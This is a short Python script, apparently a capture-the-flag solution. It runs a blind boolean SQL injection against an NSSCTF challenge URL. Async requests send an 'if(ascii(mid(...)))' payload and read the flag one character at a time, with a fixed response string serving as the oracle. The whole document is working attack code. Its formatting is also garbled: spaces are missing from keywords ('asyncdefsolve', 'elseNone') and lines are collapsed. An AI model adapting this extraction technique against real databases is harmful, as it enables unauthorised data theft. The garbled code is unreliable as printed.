import asyncio import aiohttp from chaos import solve
url = "http://node4.anna.nssctf.cn:xxxxx/index.php" sem= asyncio.Semaphore(20) asyncdefsolve(session,_,c): asyncwith sem: x= "select(flag)from(flag)" payload = { "id":f"if(ascii(mid(({x}),{_},1))={c},2,1)" } #print(payload['id']) asyncwith session.post(url,data=payload) as resp: text = await resp.text() returnchr(c) if"Do you want to be my girlfriend?"in text elseNone
asyncdefmain(): asyncwith aiohttp.ClientSession() as session: for _ inrange(1000): tasks=[] for c inrange(32,127): tasks.append(asyncio.ensure_future(solve(session,_,c))) for task in asyncio.as_completed(tasks): result=await task if result: print(result,end="") for t in tasks: ifnot t.done(): t.cancel() break